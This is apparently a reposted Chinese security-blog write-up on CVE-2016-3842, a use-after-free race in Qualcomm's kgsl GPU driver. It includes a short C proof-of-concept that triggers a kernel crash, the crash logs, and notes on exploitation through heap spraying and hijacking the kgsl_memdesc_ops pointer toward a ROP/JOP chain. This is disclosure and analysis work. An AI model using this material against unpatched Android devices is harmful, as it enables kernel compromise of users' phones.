危害9亿安卓设备高通漏洞细节曝光(CVE-2016-3842,含POC)

    xiaoxiao2026-04-09  5

    360播报的文章质量真的不错,无论长度还是内容,sakaison没有特别的阅读顺序,看到什么有趣的就贴上来,也算是留给自己以后看吧。

    (一)、前言


    就在几天之前,安全研究专家在高通芯片内发现了一系列严重的Android安全漏洞,受这些漏洞影响的Android智能手机和平板电脑数量将会超过九亿台。更可怕的是,大部分受漏洞影响的Android设备可能永远都不会被修复。

     据了解,安全研究专家此次曝光了四个漏洞,这一组漏洞代号为“Quadrooter”。这些漏洞存在于配备了高通芯片的Android设备中,受影响的Android系统版本为Android 6.0(Marshmallow)及其以下版本。攻击者可以利用这些漏洞来获取到目标设备(配备了高通芯片)的完整访问权限。

    这四个安全漏洞分别为:

    1.     CVE-2016-2503:该漏洞存在于高通芯片的GPU驱动程序中,谷歌公司在2016年7月份的安卓安全公告中正式宣布成功修复了此漏洞。

    2.     CVE-2016-2504:该漏洞存在于高通芯片的GPU驱动程序中,谷歌公司在2016年8月份的安卓安全公告中正式宣布成功修复了此漏洞。

    3.     CVE-2016-2059:该漏洞存在于高通芯片的内核模块中,公司于今年四月份就已经修复了该漏洞。

    4.     CVE-2016-5340:该漏洞同样存在于高通芯片的GPU驱动程序中,该漏洞目前已成功修复。

    攻击者只需要开发一个简单的恶意软件,然后将恶意软件发送给目标用户。一旦恶意软件成功安装,攻击者就能够直接获取到感染设备的root访问权限。

    我们在下面这份列表中列出了当前较为热门的几款受影响设备,虽然还有很多其他的移动设备同样会受到上述漏洞的影响,但是由于相关设备的数量过于庞大,所以我们在此无法一一列举。


    -Samsung Galaxy S7、Samsung S7 Edge

    -Sony Xperia Z Ultra

    -OnePlus One、OnePlus 2、OnePlus 3

    -Google Nexus 5X、Nexus 6、Nexus 6P

    -Blackphone 1、Blackphone 2

    -HTC One、HTC M9、HTC 10

    -LG G4、LG G5、LG V10

    -New Moto X(Motorola)

    -BlackBerry Priv

     

    (二)、漏洞概述


    2016年8月份的Nexus安全公告对这一漏洞(CVE-2016-3842)进行了评估,感兴趣的读者可以点击这里阅读这份安全公告。

    细心的读者可能已经发现了,这个漏洞似乎分配到了两个CVE编号。这也就意味着,将会出现一个修复补丁将会同时修复两个漏洞的情况,请大家不要惊讶。 

    另外一个漏洞就是前言所提到的CVE-2016-2504,该漏洞的发现者是Adam Donenfeld。

    我对漏洞CVE-2016-2504进行了分析,但是我无法找出这两个CVE漏洞之间的区别,所以我推测这两个漏洞描述的是同一个问题。所以在这篇文章中,我只会对我上报给谷歌公司的那个初始漏洞进行描述。

    (三)、技术细节:


    ioctl是设备驱动程序中对设备的I/O通道进行管理的函数,所谓对I/O通道进行管理,指的就是对设备的一些特性进行控制。ioctl函数是文件结构中的一个属性分量,如果你的驱动程序提供了对ioctl的支持,用户就能在用户程序中使用ioctl函数控制设备的I/O通道。

    高通的MSM GPU驱动程序(也被称为kgsl驱动)提供了一个ioctl命令-IOCTL_KGSL_GPUMEM_ALLOC,这条控制命令可以允许用户态的应用程序分配得到GPU与主存共享的那一部分内存空间。

    在这个函数中,驱动程序将会创建一个名为“kgsl_mem_entry”的结构体来标识被分配出去的那块内存空间。

    当某一线程向kgsl驱动程序发送了IOCTL_KGSL_GPUMEM_ALLOC命令之后,函数“kgsl_mem_entry_attach_process”将会通过调用“idr_alloc”函数来为“kgsl_mem_entry”对象分配一个id。

    但是在这个时候,可能有其他的线程会在函数“kgsl_ioctl_gpumem_alloc”的结果值还没正常返回的情况下,就发送IOCTL_KGSL_GPUMEM_FREE_ID命令去释放刚刚分配的结构体对象(kgsl_mem_entry)。

    这也就意味着,函数“kgsl_ioctl_gpumem_alloc”将会继续使用这个已经被释放了的“kgsl_mem_entry”对象。

    正如技术人员在补丁文件中写到的那样:

    “如果我们过早地在idr和rb进程树中添加了kgsl_mem_entry指针,那么其他的线程就可以在这一对象得到创建函数的返回值之前,通过猜测对象ID或者GPU地址来操作这个结构体对象了。”

    实际上,“kgsl_mem_entry”对象的ID其实是非常好猜测的。你在内核中分配的第一个entry其ID永远都为1。

    (四)、概念验证POC


    所以,你可以通过下列操作代码来触发这个漏洞:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void kgsl_poc(){ //kgsl_sharedmem_page_alloc_user         int fd =  open ( "/dev/kgsl-3d0" ,0);       struct kgsl_gpumem_alloc_id arg;       arg.flags = 0;    arg.size = 0xa18fb010b0c08000;       ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC_ID, &arg); } int main(int argc, char *argv[]) {    kgsl_poc();       return  0; }

    运行结果:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <1>[   96.006342] Unable to handle kernel NULL pointer dereference at virtual address 0000000c <1>[   96.006370] pgd = ffffffc0303dd000 <1>[   96.006379] [0000000c] *pgd=0000000000000000 <0>[   96.006403] Internal error: Oops: 96000005 [ #1] PREEMPT SMP <4>[   96.006422] CPU: 2 PID: 5898 Comm: report Tainted: G        W    3.10.73-g8c0675f  #1 <4>[   96.006432] task: ffffffc05ac7d600 ti: ffffffc03cd54000 task.ti: ffffffc03cd54000 <4>[   96.006457] PC is at msm_iommu_map_range+0x8c /0x344 <4>[   96.006468] LR is at msm_iommu_map_range+0x6c /0x344 <4>[   96.006478] pc : [<ffffffc0009eb5e8>] lr : [<ffffffc0009eb5c8>] pstate: 80000145 <4>[   96.006485] sp : ffffffc03cd57b60 <4>[   96.006493] x29: ffffffc03cd57b60 x28: ffffffc03cd54000 <4>[   96.006507] x27: 0000000000000001 x26: 0000000000000000 <4>[   96.006521] x25: ffffffc03cd57bf0 x24: 0000000000100000 <4>[   96.006536] x23: 00000000e8000000 x22: ffffffc001afe000 <4>[   96.006551] x21: 0000000000000000 x20: ffffffc0b655c4c0 <4>[   96.006566] x19: 0000000000100000 x18: ffffffc03cd57968 <4>[   96.006581] x17: 0000000000000000 x16: 0000000000000000 <4>[   96.006595] x15: 0000000000000000 x14: 0ffffffffffffffe <4>[   96.006610] x13: 0000000000000010 x12: 0101010101010101 <4>[   96.006625] x11: 7f7f7f7f7f7f7f7f x10: 765e6e735e787173 <4>[   96.006640] x9 : 7f7f7f7f7f7f7f7f x8 : 000e773888717246 <4>[   96.006655] x7 : 0000000000000018 x6 : ffffffc0009eb55c <4>[   96.006669] x5 : ffffffc0b655c4c0 x4 : 0000000000000000 <4>[   96.006684] x3 : 0000000000000000 x2 : ffffffc0b9e6c118 <4>[   96.006699] x1 : ffffffc0b9f03018 x0 : 0000000000000012 <4>[   96.006713] <0>[   96.006722] Process report (pid: 5898, stack limit = 0xffffffc03cd54058) <4>[   96.006731] Call trace: <4>[   96.006744] [<ffffffc0009eb5e8>] msm_iommu_map_range+0x8c /0x344 <4>[   96.006756] [<ffffffc0009e6388>] iommu_map_range+0x20 /0x34 <4>[   96.006776] [<ffffffc00057f47c>] kgsl_iommu_map+0x1ac /0x1f8 <4>[   96.006788] [<ffffffc00057c174>] kgsl_mmu_map+0x94 /0x114 <4>[   96.006807] [<ffffffc00056c81c>] kgsl_mem_entry_attach_process.isra.26+0x120 /0x170 <4>[   96.006819] [<ffffffc00056d098>] kgsl_ioctl_gpumem_alloc+0x64 /0x144 <4>[   96.006833] [<ffffffc00056f488>] kgsl_ioctl_helper+0x220 /0x2b8 <4>[   96.006844] [<ffffffc00056f53c>] kgsl_ioctl+0x1c /0x28 <4>[   96.006862] [<ffffffc00030c1e0>] do_vfs_ioctl+0x4a8 /0x57c <4>[   96.006874] [<ffffffc00030c310>] SyS_ioctl+0x5c /0x88 <0>[   96.006888] Code: 35000700 b9407040 910243b9 b9009fa0 (b9400eb4) <4>[   96.006927] ---[ end trace 221b98014bd

    Poison Overwritten:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <3>[  181.749195] ============================================================================= <3>[  181.749229] BUG kmalloc-192 (Tainted: G        W   ): Poison overwritten <3>[  181.749246] —————————————————————————————————————— <3>[  181.749246]  <4>[  181.749268] Disabling lock debugging due to kernel taint <3>[  181.749289] INFO: 0xffffffc0af755f88-0xffffffc0af755f8f. First byte 0x0 instead of 0x6b <3>[  181.749332] INFO: Allocated  in  _gpumem_alloc.constprop.11+0xe0 /0x220  age=0 cpu=2 pid=1678 <3>[  181.749360]     alloc_debug_processing+0xc8 /0x16c <3>[  181.749387]     __slab_alloc.isra.20.constprop.27+0x27c /0x2dc <3>[  181.749411]     kmem_cache_alloc_trace+0x74 /0x1c8 <3>[  181.749434]     _gpumem_alloc.constprop.11+0xdc /0x220 <3>[  181.749459]     kgsl_ioctl_gpumem_alloc+0x40 /0x18c <3>[  181.749485]     kgsl_ioctl_helper+0x2c4 /0x340 <3>[  181.749508]     kgsl_ioctl+0x3c /0x50 <3>[  181.749532]     vfs_ioctl+0x60 /0x74 <3>[  181.749555]     do_vfs_ioctl+0x98 /0x610 <3>[  181.749577]     SyS_ioctl+0x70 /0xac <3>[  181.749603]     cpu_switch_to+0x48 /0x4c <3>[  181.749633] INFO: Freed  in  kgsl_mem_entry_destroy+0xac /0x1a4  age=0 cpu=1 pid=1680 <3>[  181.749658]     free_debug_processing+0x204 /0x2ac <3>[  181.749680]     __slab_free+0x1b8 /0x2cc <3>[  181.749703]     kfree+0x218 /0x220 <3>[  181.749726]     kgsl_mem_entry_destroy+0xa8 /0x1a4 <3>[  181.749750]     _sharedmem_free_entry+0x214 /0x22c <3>[  181.749774]     kgsl_ioctl_gpumem_free_id+0x158 /0x164 <3>[  181.749799]     kgsl_ioctl_helper+0x2c4 /0x340 <3>[  181.749822]     kgsl_ioctl+0x3c /0x50 <3>[  181.749844]     vfs_ioctl+0x60 /0x74 <3>[  181.749867]     do_vfs_ioctl+0x98 /0x610 <3>[  181.749889]     SyS_ioctl+0x70 /0xac <3>[  181.749913]     cpu_switch_to+0x48 /0x4c <3>[  181.749936] INFO: Slab 0xffffffbc06da9480 objects=28 used=28 fp=0x          (null) flags=0x4080 <3>[  181.749956] INFO: Object 0xffffffc0af755f80 @offset=8064 fp=0xffffffc0af757180

    (五)、漏洞利用


    在我看来,虽然攻击者可以利用这个漏洞来进行攻击,但是针对该漏洞的利用技术非常不稳定。

    我很想跟大家分享一些关于这一漏洞的利用技术,但是说实话,我自己也没能够完全掌握该漏洞的利用技巧。

    对于我自己而言,只有稳定且通用的漏洞利用技术才值得花时间去开发,所以我就不打算在这个漏洞上花费太多的时间和精力了。

    为了避免在漏洞利用的过程中出现内核崩溃的情况,你需要在短时间内重新为系统分配一个新的“mem_entry”对象(因为之前的对象已经被清空了),而且至少要在分配进程访问“msm_iommu_map_range”地址之前完成你的对象分配操作。 

    在这一过程中不得不提到一项技术,即堆喷射技术。在计算机安全领域中,如果想要实现任意代码执行,那么堆喷射技术(Heap Spraying)就是一种较为容易的技术实现手段了。在一般情况下,堆喷射代码会试图将自身大面积地填充至进程的堆栈空间中,并以正确的方式将命令写满这部分内存区域,以实现在目标进程的内存中预留位置,并写入任意的控制指令。

    为了实现这一步操作,我尝试了多种方法,包括采用堆喷射技术来填充内核空间。但是我在测试之后发现,我所采用的最佳方法其成功率也只有40%,大部分情况下内核都会发生崩溃。我所采用的方法就是通过seccomp-bpf程序配合堆喷射技术,迅速将数据内容填充堆内存空间。谷歌的Project Zero团队曾在去年的一篇文章中介绍过这项技术,感兴趣的读者可以点击这里进行阅读。需要注意的是,seccomp-bpf只能用于对版本为3.10的内核进行堆喷操作。如果我们能够重新填充之前被意外释放的那部分内存空间,那么控制目标计算机的注册表也就是一件很简单的事情了。

    在“kgsl_mem_entry”结构体中,存在一个名为“kgsl_memdesc_ops”的结构体指针,它可以被攻击者完全控制:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 struct  kgsl_mem_entry {      struct  kref refcount;      struct  kgsl_memdesc memdesc;      void  *priv_data;      struct  rb_node node;      unsigned  int  id;      struct  kgsl_process_private *priv;      int  pending_free; };    /* shared memory allocation */ struct  kgsl_memdesc {      struct  kgsl_pagetable *pagetable;      void  *hostptr;      unsigned  int  hostptr_count;      unsigned  long  useraddr;      unsigned  int  gpuaddr;      phys_addr_t physaddr;      size_t  size;      unsigned  int  priv;      struct  scatterlist *sg;      unsigned  int  sglen;      struct  kgsl_memdesc_ops *ops;    /* ====== the POINTER of ops you can control */      unsigned  int  flags;      struct  device *dev;      struct  dma_attrs attrs; };    struct  kgsl_memdesc_ops {      unsigned  int  vmflags;      int  (*vmfault)( struct  kgsl_memdesc *,  struct  vm_area_struct *,                 struct  vm_fault *);      void  (* free )( struct  kgsl_memdesc *memdesc);      int  (*map_kernel)( struct  kgsl_memdesc *);      void  (*unmap_kernel)( struct  kgsl_memdesc *); };

    通过重写“kgsl_memdesc_ops”指针,并让它指向你的ROP/JOP链,你就可以成功实现内核代码执行了。

     

    (六)、修复补丁:


    https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa

     

    (七)、漏洞时间轴


    2016年4月25日:将该漏洞提交给谷歌公司;

    2016年5月5日:谷歌公司对该漏洞进行了评估,并将该漏洞的评级设置为“高危漏洞”;

    2016年6月29日:该漏洞分配到了编号CVE-2016-3842;

    2016年8月1日:2016年8月份的Nexus安全公告正式披露了该漏洞的内容

     

    (八)、总结


    Android系统的安全问题真是令人头疼的问题。再加上近期高通公司的处理器芯片频爆漏洞,无疑是在给Android手机目前的安全现状雪上加霜。

     

    高通(Qualcomm)是一家美国的无线电通信技术研发公司,成立于1985年7月,在以技术创新推动无线通讯向前发展方面扮演着重要的角色。目前,高通公司所生产的CPU芯片和GPU芯片已经被广泛应用于各大厂商的安卓智能手机上了,考虑到如此大的用户群体,高通公司是不是应该加强产品的安全监管呢?

     

    当然了,无论产品做得多么优秀,安全问题永远都会存在。没有折不断的茅,也没有攻不破的盾。也许这就是信息安全吧!

     

    (九)、参考链接


    1.kgsl驱动程序中的另一个漏洞(已于2016年6月修复):

    http://retme.net/index.php/2016/06/12/CVE-2016-2468.html

    2.2016年8月份的Nexus安全公告:

    https://source.android.com/security/bulletin/2016-08-01.html

    3.Project Zero项目团队于2015年1月份发表的技术文章(涉及seccomp-bpf):

    http://googleprojectzero.blogspot.jp/2015/01/exploiting-nvmap-to-escape-chrome.html

    4.漏洞修复补丁:

    https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa

    5.“Quadrooter”漏洞报告(The Hacker News):

    http://thehackernews.com/2016/08/hack-android-phone.html

    本文由 安全客 原创发布,如需转载请注明来源及本文地址。 本文地址:http://bobao.360.cn/learning/detal/2959.html

    转载请注明原文地址: https://ju.6miu.com/read-1308644.html
    最新回复(0)